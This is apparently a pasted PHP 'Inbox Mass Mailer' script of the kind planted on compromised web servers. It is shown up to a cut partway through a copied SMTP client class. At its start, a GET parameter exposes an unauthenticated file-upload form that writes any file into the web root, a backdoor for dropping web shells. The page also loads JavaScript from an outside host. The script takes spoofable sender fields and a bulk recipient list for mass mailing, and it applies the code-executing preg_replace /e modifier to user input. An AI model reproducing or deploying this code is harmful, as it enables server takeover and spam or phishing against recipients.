· 9 years ago · Nov 05, 2016, 06:40 PM
1<?php
2
3
4/*
5Inbox Mass Mailer
6
7
8*/
9$upload = $_GET["upload"];
10if ($upload == "up" ) {
11$uploaddir = "";
12$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
13if (isset($_FILES["userfile"]["name"]))
14{
15if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
16{
17$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
18else { $resultati = "There was an error uploading the file. please try again!"; }
19}
20echo'<html>
21<head>
22</head>
23<div id="result">
24<table height="1" width="100%" bgcolor="#EE30A7" bordercolorlight="#FFFF00" border="0">
25<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
26<center><form method="POST" enctype="multipart/form-data">
27<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #EE30A7; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
28<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #EE30A7; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
29}
30
31function query_str($params){
32$str = '';
33foreach ($params as $key => $value) {
34$str .= (strlen($str) < 1) ? '' : '&';
35$str .= $key . '=' . rawurlencode($value);
36}
37return ($str);
38}
39function lrtrim($string){
40return stripslashes(ltrim(rtrim($string)));
41}
42
43if(isset($_POST['action'] ) ){
44
45$b = query_str($_POST);
46parse_str($b);
47$sslclick=lrtrim($sslclick);
48$action=lrtrim($action);
49$message=lrtrim($message);
50$emaillist=lrtrim($emaillist);
51$from=lrtrim($from);
52$reconnect=lrtrim($reconnect);
53$epriority=lrtrim($epriority);
54$my_smtp=lrtrim($my_smtp);
55$ssl_port=lrtrim($ssl_port);
56$smtp_username=lrtrim($smtp_username);
57$smtp_password=lrtrim($smtp_password);
58$replyto=lrtrim($replyto);
59$subject=lrtrim($subject);
60$realname=lrtrim($realname);
61$subject_base=lrtrim($subject);
62$realname_base=lrtrim($realname);
63$file_name=lrtrim($file);
64$urlz=lrtrim($urlz);
65$contenttype=lrtrim($contenttype);
66$encode_text=$_POST['encode'];
67
68 $message = urlencode($message);
69 $message = ereg_replace("%5C%22", "%22", $message);
70 $message = urldecode($message);
71 $message = stripslashes($message);
72 $subject = stripslashes($subject);
73 if ($encode_text == "yes") {
74 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
75 $subject = str_replace(' ', '_', $subject);
76 $subject = "=?UTF-8?Q?$subject?=";
77 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
78 $realname = str_replace(' ', '_', $realname);
79 $realname = "=?UTF-8?Q?$realname?=";
80 }
81}
82?>
83<html>
84
85<head>
86<title>PHP Mailer</title>
87<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
88
89<style type="text/css">
90<!--
91.style1 {
92 font-family: Geneva, Arial, Helvetica, sans-serif;
93 font-size: 12px;
94}
95-->
96</style>
97<style type="text/css">
98<!--
99.style1 {
100 font-size: 10px;
101 font-family: Geneva, Arial, Helvetica, sans-serif;
102}
103-->
104</style>
105</head>
106<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
107<body text="#000000">
108<p align="center"><img src="http://www.auplod.com/u/olpuda47925.gif" alt="Image" border="0" />
109
110<form name="form1" method="post" action="" enctype="multipart/form-data">
111
112 <br>
113
114 <table width="100%" border="0" height="407">
115
116
117
118
119
120
121
122 <tr>
123
124 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
125
126 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
127 Your Email:</font></div>
128
129 </td>
130
131 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
132
133 <input type="text" name="from" value="<?=$from;?>" size="30">
134
135 </font></td>
136
137 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
138
139 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
140 Your Name:</font></div>
141
142 </td>
143
144 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
145
146 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
147
148 </font></td>
149
150 </tr>
151 <tr>
152
153 <td width="10%" height="22" bgcolor="#FFFFFF" bordercolor="#FFFFFF">
154
155 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
156 Reply-To:</font></div>
157
158 </td>
159
160 <td width="18%" height="22" bgcolor="#FFFFFF" bordercolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
161
162 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
163
164 </font></td>
165
166
167
168
169
170 <tr>
171
172 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
173
174 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
175 Subject:</font></div>
176
177 </td>
178
179 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
180
181 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
182
183 </font></td>
184
185 </tr>
186
187
188
189 <tr valign="top">
190
191<td colspan="3" width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
192
193<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
194 Emails:</font></div>
195
196 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
197
198<br>
199 <input type="radio" name="contenttype" value="plain" >
200
201 Plain
202
203 <input type="radio" name="contenttype" value="html" checked>
204
205 HTML
206
207 <input type="hidden" name="action" value="send">
208
209 <input type="submit" value="Send Mails">
210
211 </font></td>
212
213 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
214
215 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
216
217 </font></td>
218
219 </tr>
220
221 </table>
222
223</form>
224
225
226
227<?
228
229if ($action){
230 if (!$from && !$subject && !$message && !$emaillist){
231 print "<script>alert('Please complete all fields before sending your message.'); </script>";
232 die(); }
233
234class SMTP
235{
236 /**
237 * SMTP server port
238 * @var int
239 */
240 var $SMTP_PORT = 25;
241
242 /**
243 * SMTP reply line ending
244 * @var string
245 */
246 var $CRLF = "\r\n";
247
248 /**
249 * Sets whether debugging is turned on
250 * @var bool
251 */
252 var $do_debug; # the level of debug to perform
253
254 /**
255 * Sets VERP use on/off (default is off)
256 * @var bool
257 */
258 var $do_verp = false;
259
260 /**#@+
261 * @access private
262 */
263 var $smtp_conn; # the socket to the server
264 var $error; # error if any on the last call
265 var $helo_rply; # the reply the server sent to us for HELO
266 /**#@-*/
267
268 /**
269 * Initialize the class so that the data is in a known state.
270 * @access public
271 * @return void
272 */
273 function SMTP() {
274 $this->smtp_conn = 0;
275 $this->error = null;
276 $this->helo_rply = null;
277
278 $this->do_debug = 0;
279 }
280
281 /*************************************************************
282 * CONNECTION FUNCTIONS *
283 ***********************************************************/
284
285 /**
286 * Connect to the server specified on the port specified.
287 * If the port is not specified use the default SMTP_PORT.
288 * If tval is specified then a connection will try and be
289 * established with the server for that number of seconds.
290 * If tval is not specified the default is 30 seconds to
291 * try on the connection.
292 *
293 * SMTP CODE SUCCESS: 220
294 * SMTP CODE FAILURE: 421
295 * @access public
296 * @return bool
297 */
298 function Connect($host,$port=0,$tval=30) {
299 # set the error val to null so there is no confusion
300 $this->error = null;
301
302 # make sure we are __not__ connected
303 if($this->connected()) {
304 # ok we are connected! what should we do?
305 # for now we will just give an error saying we
306 # are already connected
307 $this->error = array("error" => "Already connected to a server");
308 return false;
309 }
310
311 if(empty($port)) {
312 $port = $this->SMTP_PORT;
313 }
314
315 #connect to the smtp server
316 $this->smtp_conn = fsockopen($host, # the host of the server
317 $port, # the port to use
318 $errno, # error number if any
319 $errstr, # error message if any
320 $tval); # give up after ? secs
321 # verify we connected properly
322 if(empty($this->smtp_conn)) {
323 $this->error = array("error" => "Failed to connect to server",
324 "errno" => $errno,
325 "errstr" => $errstr);
326 if($this->do_debug >= 1) {
327 echo "SMTP -> ERROR: " . $this->error["error"] .
328 ": $errstr ($errno)" . $this->CRLF;
329 }
330 return false;
331 }
332
333 # sometimes the SMTP server takes a little longer to respond
334 # so we will give it a longer timeout for the first read
335 // Windows still does not have support for this timeout function
336 if(substr(PHP_OS, 0, 3) != "WIN")
337 socket_set_timeout($this->smtp_conn, $tval, 0);
338
339 # get any announcement stuff
340 $announce = $this->get_lines();
341
342 # set the timeout of any socket functions at 1/10 of a second
343 //if(function_exists("socket_set_timeout"))
344 // socket_set_timeout($this->smtp_conn, 0, 100000);
345
346 if($this->do_debug >= 2) {
347 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
348 }
349
350 return true;
351 }
352
353 /**
354 * Performs SMTP authentication. Must be run after running the
355 * Hello() method. Returns true if successfully authenticated.
356 * @access public
357 * @return bool
358 */
359 function Authenticate($username, $password) {
360 // Start authentication
361 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
362
363 $rply = $this->get_lines();
364 $code = substr($rply,0,3);
365
366 if($code != 334) {
367 $this->error =
368 array("error" => "AUTH not accepted from server",
369 "smtp_code" => $code,
370 "smtp_msg" => substr($rply,4));
371 if($this->do_debug >= 1) {
372 echo "SMTP -> ERROR: " . $this->error["error"] .
373 ": " . $rply . $this->CRLF;
374 }
375 return false;
376 }
377
378 // Send encoded username
379 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
380
381 $rply = $this->get_lines();
382 $code = substr($rply,0,3);
383
384 if($code != 334) {
385 $this->error =
386 array("error" => "Username not accepted from server",
387 "smtp_code" => $code,
388 "smtp_msg" => substr($rply,4));
389 if($this->do_debug >= 1) {
390 echo "SMTP -> ERROR: " . $this->error["error"] .
391 ": " . $rply . $this->CRLF;
392 }
393 return false;
394 }
395
396 // Send encoded password
397 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
398
399 $rply = $this->get_lines();
400 $code = substr($rply,0,3);
401
402 if($code != 235) {
403 $this->error =
404 array("error" => "Password not accepted from server",
405 "smtp_code" => $code,
406 "smtp_msg" => substr($rply,4));
407 if($this->do_debug >= 1) {
408 echo "SMTP -> ERROR: " . $this->error["error"] .
409 ": " . $rply . $this->CRLF;
410 }
411 return false;
412 }
413
414 return true;
415 }
416
417 /**
418 * Returns true if connected to a server otherwise false
419 * @access private
420 * @return bool
421 */
422 function Connected() {
423 if(!empty($this->smtp_conn)) {
424 $sock_status = socket_get_status($this->smtp_conn);
425 if($sock_status["eof"]) {
426 # hmm this is an odd situation... the socket is
427 # valid but we are not connected anymore
428 if($this->do_debug >= 1) {
429 echo "SMTP -> NOTICE:" . $this->CRLF .
430 "EOF caught while checking if connected";
431 }
432 $this->Close();
433 return false;
434 }
435 return true; # everything looks good
436 }
437 return false;
438 }
439
440 /**
441 * Closes the socket and cleans up the state of the class.
442 * It is not considered good to use this function without
443 * first trying to use QUIT.
444 * @access public
445 * @return void
446 */
447 function Close() {
448 $this->error = null; # so there is no confusion
449 $this->helo_rply = null;
450 if(!empty($this->smtp_conn)) {
451 # close the connection and cleanup
452 fclose($this->smtp_conn);
453 $this->smtp_conn = 0;
454 }
455 }
456
457 /***************************************************************
458 * SMTP COMMANDS *
459 *************************************************************/
460
461 /**
462 * Issues a data command and sends the msg_data to the server
463 * finializing the mail transaction. $msg_data is the message
464 * that is to be send with the headers. Each header needs to be
465 * on a single line followed by a <CRLF> with the message headers
466 * and the message body being seperated by and additional <CRLF>.
467 *
468 * Implements rfc 821: DATA <CRLF>
469 *
470 * SMTP CODE INTERMEDIATE: 354
471 * [data]
472 * <CRLF>.<CRLF>
473 * SMTP CODE SUCCESS: 250
474 * SMTP CODE FAILURE: 552,554,451,452
475 * SMTP CODE FAILURE: 451,554
476 * SMTP CODE ERROR : 500,501,503,421
477 * @access public
478 * @return bool
479 */
480 function Data($msg_data) {
481 $this->error = null; # so no confusion is caused
482
483 if(!$this->connected()) {
484 $this->error = array(
485 "error" => "Called Data() without being connected");
486 return false;
487 }
488
489 fputs($this->smtp_conn,"DATA" . $this->CRLF);
490
491 $rply = $this->get_lines();
492 $code = substr($rply,0,3);
493
494 if($this->do_debug >= 2) {
495 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
496 }
497
498 if($code != 354) {
499 $this->error =
500 array("error" => "DATA command not accepted from server",
501 "smtp_code" => $code,
502 "smtp_msg" => substr($rply,4));
503 if($this->do_debug >= 1) {
504 echo "SMTP -> ERROR: " . $this->error["error"] .
505 ": " . $rply . $this->CRLF;
506 }
507 return false;
508 }
509
510 # the server is ready to accept data!
511 # according to rfc 821 we should not send more than 1000
512 # including the CRLF
513 # characters on a single line so we will break the data up
514 # into lines by \r and/or \n then if needed we will break
515 # each of those into smaller lines to fit within the limit.
516 # in addition we will be looking for lines that start with
517 # a period '.' and append and additional period '.' to that
518 # line. NOTE: this does not count towards are limit.
519
520 # normalize the line breaks so we know the explode works
521 $msg_data = str_replace("\r\n","\n",$msg_data);
522 $msg_data = str_replace("\r","\n",$msg_data);
523 $lines = explode("\n",$msg_data);
524
525 # we need to find a good way to determine is headers are
526 # in the msg_data or if it is a straight msg body
527 # currently I am assuming rfc 822 definitions of msg headers
528 # and if the first field of the first line (':' sperated)
529 # does not contain a space then it _should_ be a header
530 # and we can process all lines before a blank "" line as
531 # headers.
532 $field = substr($lines[0],0,strpos($lines[0],":"));
533 $in_headers = false;
534 if(!empty($field) && !strstr($field," ")) {
535 $in_headers = true;
536 }
537
538 $max_line_length = 998; # used below; set here for ease in change
539
540 while(list(,$line) = @each($lines)) {
541 $lines_out = null;
542 if($line == "" && $in_headers) {
543 $in_headers = false;
544 }
545 # ok we need to break this line up into several
546 # smaller lines
547 while(strlen($line) > $max_line_length) {
548 $pos = strrpos(substr($line,0,$max_line_length)," ");
549
550 # Patch to fix DOS attack
551 if(!$pos) {
552 $pos = $max_line_length - 1;
553 }
554
555 $lines_out[] = substr($line,0,$pos);
556 $line = substr($line,$pos + 1);
557 # if we are processing headers we need to
558 # add a LWSP-char to the front of the new line
559 # rfc 822 on long msg headers
560 if($in_headers) {
561 $line = "\t" . $line;
562 }
563 }
564 $lines_out[] = $line;
565
566 # now send the lines to the server
567 while(list(,$line_out) = @each($lines_out)) {
568 if(strlen($line_out) > 0)
569 {
570 if(substr($line_out, 0, 1) == ".") {
571 $line_out = "." . $line_out;
572 }
573 }
574 fputs($this->smtp_conn,$line_out . $this->CRLF);
575 }
576 }
577
578 # ok all the message data has been sent so lets get this
579 # over with aleady
580 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
581
582 $rply = $this->get_lines();
583 $code = substr($rply,0,3);
584
585 if($this->do_debug >= 2) {
586 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
587 }
588
589 if($code != 250) {
590 $this->error =
591 array("error" => "DATA not accepted from server",
592 "smtp_code" => $code,
593 "smtp_msg" => substr($rply,4));
594 if($this->do_debug >= 1) {
595 echo "SMTP -> ERROR: " . $this->error["error"] .
596 ": " . $rply . $this->CRLF;
597 }
598 return false;
599 }
600 return true;
601 }
602
603 /**
604 * Expand takes the name and asks the server to list all the
605 * people who are members of the _list_. Expand will return
606 * back and array of the result or false if an error occurs.
607 * Each value in the array returned has the format of:
608 * [ <full-name> <sp> ] <path>
609 * The definition of <path> is defined in rfc 821
610 *
611 * Implements rfc 821: EXPN <SP> <string> <CRLF>
612 *
613 * SMTP CODE SUCCESS: 250
614 * SMTP CODE FAILURE: 550
615 * SMTP CODE ERROR : 500,501,502,504,421
616 * @access public
617 * @return string array
618 */
619 function Expand($name) {
620 $this->error = null; # so no confusion is caused
621
622 if(!$this->connected()) {
623 $this->error = array(
624 "error" => "Called Expand() without being connected");
625 return false;
626 }
627
628 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
629
630 $rply = $this->get_lines();
631 $code = substr($rply,0,3);
632
633 if($this->do_debug >= 2) {
634 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
635 }
636
637 if($code != 250) {
638 $this->error =
639 array("error" => "EXPN not accepted from server",
640 "smtp_code" => $code,
641 "smtp_msg" => substr($rply,4));
642 if($this->do_debug >= 1) {
643 echo "SMTP -> ERROR: " . $this->error["error"] .
644 ": " . $rply . $this->CRLF;
645 }
646 return false;
647 }
648
649 # parse the reply and place in our array to return to user
650 $entries = explode($this->CRLF,$rply);
651 while(list(,$l) = @each($entries)) {
652 $list[] = substr($l,4);
653 }
654
655 return $list;
656 }
657
658 /**
659 * Sends the HELO command to the smtp server.
660 * This makes sure that we and the server are in
661 * the same known state.
662 *
663 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
664 *
665 * SMTP CODE SUCCESS: 250
666 * SMTP CODE ERROR : 500, 501, 504, 421
667 * @access public
668 * @return bool
669 */
670 function Hello($host="") {
671 $this->error = null; # so no confusion is caused
672
673 if(!$this->connected()) {
674 $this->error = array(
675 "error" => "Called Hello() without being connected");
676 return false;
677 }
678
679 # if a hostname for the HELO was not specified determine
680 # a suitable one to send
681 if(empty($host)) {
682 # we need to determine some sort of appopiate default
683 # to send to the server
684 $host = "localhost";
685 }
686
687 // Send extended hello first (RFC 2821)
688 if(!$this->SendHello("EHLO", $host))
689 {
690 if(!$this->SendHello("HELO", $host))
691 return false;
692 }
693
694 return true;
695 }
696
697 /**
698 * Sends a HELO/EHLO command.
699 * @access private
700 * @return bool
701 */
702 function SendHello($hello, $host) {
703 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
704
705 $rply = $this->get_lines();
706 $code = substr($rply,0,3);
707
708 if($this->do_debug >= 2) {
709 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
710 }
711
712 if($code != 250) {
713 $this->error =
714 array("error" => $hello . " not accepted from server",
715 "smtp_code" => $code,
716 "smtp_msg" => substr($rply,4));
717 if($this->do_debug >= 1) {
718 echo "SMTP -> ERROR: " . $this->error["error"] .
719 ": " . $rply . $this->CRLF;
720 }
721 return false;
722 }
723
724 $this->helo_rply = $rply;
725
726 return true;
727 }
728
729 /**
730 * Gets help information on the keyword specified. If the keyword
731 * is not specified then returns generic help, ussually contianing
732 * A list of keywords that help is available on. This function
733 * returns the results back to the user. It is up to the user to
734 * handle the returned data. If an error occurs then false is
735 * returned with $this->error set appropiately.
736 *
737 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
738 *
739 * SMTP CODE SUCCESS: 211,214
740 * SMTP CODE ERROR : 500,501,502,504,421
741 * @access public
742 * @return string
743 */
744 function Help($keyword="") {
745 $this->error = null; # to avoid confusion
746
747 if(!$this->connected()) {
748 $this->error = array(
749 "error" => "Called Help() without being connected");
750 return false;
751 }
752
753 $extra = "";
754 if(!empty($keyword)) {
755 $extra = " " . $keyword;
756 }
757
758 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
759
760 $rply = $this->get_lines();
761 $code = substr($rply,0,3);
762
763 if($this->do_debug >= 2) {
764 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
765 }
766
767 if($code != 211 && $code != 214) {
768 $this->error =
769 array("error" => "HELP not accepted from server",
770 "smtp_code" => $code,
771 "smtp_msg" => substr($rply,4));
772 if($this->do_debug >= 1) {
773 echo "SMTP -> ERROR: " . $this->error["error"] .
774 ": " . $rply . $this->CRLF;
775 }
776 return false;
777 }
778
779 return $rply;
780 }
781
782 /**
783 * Starts a mail transaction from the email address specified in
784 * $from. Returns true if successful or false otherwise. If True
785 * the mail transaction is started and then one or more Recipient
786 * commands may be called followed by a Data command.
787 *
788 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
789 *
790 * SMTP CODE SUCCESS: 250
791 * SMTP CODE SUCCESS: 552,451,452
792 * SMTP CODE SUCCESS: 500,501,421
793 * @access public
794 * @return bool
795 */
796 function Mail($from) {
797 $this->error = null; # so no confusion is caused
798
799 if(!$this->connected()) {
800 $this->error = array(
801 "error" => "Called Mail() without being connected");
802 return false;
803 }
804
805 $useVerp = ($this->do_verp ? "XVERP" : "");
806 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
807
808 $rply = $this->get_lines();
809 $code = substr($rply,0,3);
810
811 if($this->do_debug >= 2) {
812 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
813 }
814
815 if($code != 250) {
816 $this->error =
817 array("error" => "MAIL not accepted from server",
818 "smtp_code" => $code,
819 "smtp_msg" => substr($rply,4));
820 if($this->do_debug >= 1) {
821 echo "SMTP -> ERROR: " . $this->error["error"] .
822 ": " . $rply . $this->CRLF;
823 }
824 return false;
825 }
826 return true;
827 }
828
829 /**
830 * Sends the command NOOP to the SMTP server.
831 *
832 * Implements from rfc 821: NOOP <CRLF>
833 *
834 * SMTP CODE SUCCESS: 250
835 * SMTP CODE ERROR : 500, 421
836 * @access public
837 * @return bool
838 */
839 function Noop() {
840 $this->error = null; # so no confusion is caused
841
842 if(!$this->connected()) {
843 $this->error = array(
844 "error" => "Called Noop() without being connected");
845 return false;
846 }
847
848 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
849
850 $rply = $this->get_lines();
851 $code = substr($rply,0,3);
852
853 if($this->do_debug >= 2) {
854 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
855 }
856
857 if($code != 250) {
858 $this->error =
859 array("error" => "NOOP not accepted from server",
860 "smtp_code" => $code,
861 "smtp_msg" => substr($rply,4));
862 if($this->do_debug >= 1) {
863 echo "SMTP -> ERROR: " . $this->error["error"] .
864 ": " . $rply . $this->CRLF;
865 }
866 return false;
867 }
868 return true;
869 }
870
871 /**
872 * Sends the quit command to the server and then closes the socket
873 * if there is no error or the $close_on_error argument is true.
874 *
875 * Implements from rfc 821: QUIT <CRLF>
876 *
877 * SMTP CODE SUCCESS: 221
878 * SMTP CODE ERROR : 500
879 * @access public
880 * @return bool
881 */
882 function Quit($close_on_error=true) {
883 $this->error = null; # so there is no confusion
884
885 if(!$this->connected()) {
886 $this->error = array(
887 "error" => "Called Quit() without being connected");
888 return false;
889 }
890
891 # send the quit command to the server
892 fputs($this->smtp_conn,"quit" . $this->CRLF);
893
894 # get any good-bye messages
895 $byemsg = $this->get_lines();
896
897 if($this->do_debug >= 2) {
898 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
899 }
900
901 $rval = true;
902 $e = null;
903
904 $code = substr($byemsg,0,3);
905 if($code != 221) {
906 # use e as a tmp var cause Close will overwrite $this->error
907 $e = array("error" => "SMTP server rejected quit command",
908 "smtp_code" => $code,
909 "smtp_rply" => substr($byemsg,4));
910 $rval = false;
911 if($this->do_debug >= 1) {
912 echo "SMTP -> ERROR: " . $e["error"] . ": " .
913 $byemsg . $this->CRLF;
914 }
915 }
916
917 if(empty($e) || $close_on_error) {
918 $this->Close();
919 }
920
921 return $rval;
922 }
923
924 /**
925 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
926 * Returns true if the recipient was accepted false if it was rejected.
927 *
928 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
929 *
930 * SMTP CODE SUCCESS: 250,251
931 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
932 * SMTP CODE ERROR : 500,501,503,421
933 * @access public
934 * @return bool
935 */
936 function Recipient($to) {
937 $this->error = null; # so no confusion is caused
938
939 if(!$this->connected()) {
940 $this->error = array(
941 "error" => "Called Recipient() without being connected");
942 return false;
943 }
944
945 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
946
947 $rply = $this->get_lines();
948 $code = substr($rply,0,3);
949
950 if($this->do_debug >= 2) {
951 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
952 }
953
954 if($code != 250 && $code != 251) {
955 $this->error =
956 array("error" => "RCPT not accepted from server",
957 "smtp_code" => $code,
958 "smtp_msg" => substr($rply,4));
959 if($this->do_debug >= 1) {
960 echo "SMTP -> ERROR: " . $this->error["error"] .
961 ": " . $rply . $this->CRLF;
962 }
963 return false;
964 }
965 return true;
966 }
967
968 /**
969 * Sends the RSET command to abort and transaction that is
970 * currently in progress. Returns true if successful false
971 * otherwise.
972 *
973 * Implements rfc 821: RSET <CRLF>
974 *
975 * SMTP CODE SUCCESS: 250
976 * SMTP CODE ERROR : 500,501,504,421
977 * @access public
978 * @return bool
979 */
980 function Reset() {
981 $this->error = null; # so no confusion is caused
982
983 if(!$this->connected()) {
984 $this->error = array(
985 "error" => "Called Reset() without being connected");
986 return false;
987 }
988
989 fputs($this->smtp_conn,"RSET" . $this->CRLF);
990
991 $rply = $this->get_lines();
992 $code = substr($rply,0,3);
993
994 if($this->do_debug >= 2) {
995 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
996 }
997
998 if($code != 250) {
999 $this->error =
1000 array("error" => "RSET failed",
1001 "smtp_code" => $code,
1002 "smtp_msg" => substr($rply,4));
1003 if($this->do_debug >= 1) {
1004 echo "SMTP -> ERROR: " . $this->error["error"] .
1005 ": " . $rply . $this->CRLF;
1006 }
1007 return false;
1008 }
1009
1010 return true;
1011 }
1012
1013 /**
1014 * Starts a mail transaction from the email address specified in
1015 * $from. Returns true if successful or false otherwise. If True
1016 * the mail transaction is started and then one or more Recipient
1017 * commands may be called followed by a Data command. This command
1018 * will send the message to the users terminal if they are logged
1019 * in.
1020 *
1021 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1022 *
1023 * SMTP CODE SUCCESS: 250
1024 * SMTP CODE SUCCESS: 552,451,452
1025 * SMTP CODE SUCCESS: 500,501,502,421
1026 * @access public
1027 * @return bool
1028 */
1029 function Send($from) {
1030 $this->error = null; # so no confusion is caused
1031
1032 if(!$this->connected()) {
1033 $this->error = array(
1034 "error" => "Called Send() without being connected");
1035 return false;
1036 }
1037
1038 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1039
1040 $rply = $this->get_lines();
1041 $code = substr($rply,0,3);
1042
1043 if($this->do_debug >= 2) {
1044 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1045 }
1046
1047 if($code != 250) {
1048 $this->error =
1049 array("error" => "SEND not accepted from server",
1050 "smtp_code" => $code,
1051 "smtp_msg" => substr($rply,4));
1052 if($this->do_debug >= 1) {
1053 echo "SMTP -> ERROR: " . $this->error["error"] .
1054 ": " . $rply . $this->CRLF;
1055 }
1056 return false;
1057 }
1058 return true;
1059 }
1060
1061 /**
1062 * Starts a mail transaction from the email address specified in
1063 * $from. Returns true if successful or false otherwise. If True
1064 * the mail transaction is started and then one or more Recipient
1065 * commands may be called followed by a Data command. This command
1066 * will send the message to the users terminal if they are logged
1067 * in and send them an email.
1068 *
1069 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1070 *
1071 * SMTP CODE SUCCESS: 250
1072 * SMTP CODE SUCCESS: 552,451,452
1073 * SMTP CODE SUCCESS: 500,501,502,421
1074 * @access public
1075 * @return bool
1076 */
1077 function SendAndMail($from) {
1078 $this->error = null; # so no confusion is caused
1079
1080 if(!$this->connected()) {
1081 $this->error = array(
1082 "error" => "Called SendAndMail() without being connected");
1083 return false;
1084 }
1085
1086 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1087
1088 $rply = $this->get_lines();
1089 $code = substr($rply,0,3);
1090
1091 if($this->do_debug >= 2) {
1092 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1093 }
1094
1095 if($code != 250) {
1096 $this->error =
1097 array("error" => "SAML not accepted from server",
1098 "smtp_code" => $code,
1099 "smtp_msg" => substr($rply,4));
1100 if($this->do_debug >= 1) {
1101 echo "SMTP -> ERROR: " . $this->error["error"] .
1102 ": " . $rply . $this->CRLF;
1103 }
1104 return false;
1105 }
1106 return true;
1107 }
1108
1109 /**
1110 * Starts a mail transaction from the email address specified in
1111 * $from. Returns true if successful or false otherwise. If True
1112 * the mail transaction is started and then one or more Recipient
1113 * commands may be called followed by a Data command. This command
1114 * will send the message to the users terminal if they are logged
1115 * in or mail it to them if they are not.
1116 *
1117 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1118 *
1119 * SMTP CODE SUCCESS: 250
1120 * SMTP CODE SUCCESS: 552,451,452
1121 * SMTP CODE SUCCESS: 500,501,502,421
1122 * @access public
1123 * @return bool
1124 */
1125 function SendOrMail($from) {
1126 $this->error = null; # so no confusion is caused
1127
1128 if(!$this->connected()) {
1129 $this->error = array(
1130 "error" => "Called SendOrMail() without being connected");
1131 return false;
1132 }
1133
1134 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1135
1136 $rply = $this->get_lines();
1137 $code = substr($rply,0,3);
1138
1139 if($this->do_debug >= 2) {
1140 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1141 }
1142
1143 if($code != 250) {
1144 $this->error =
1145 array("error" => "SOML not accepted from server",
1146 "smtp_code" => $code,
1147 "smtp_msg" => substr($rply,4));
1148 if($this->do_debug >= 1) {
1149 echo "SMTP -> ERROR: " . $this->error["error"] .
1150 ": " . $rply . $this->CRLF;
1151 }
1152 return false;
1153 }
1154 return true;
1155 }
1156
1157 /**
1158 * This is an optional command for SMTP that this class does not
1159 * support. This method is here to make the RFC821 Definition
1160 * complete for this class and __may__ be implimented in the future
1161 *
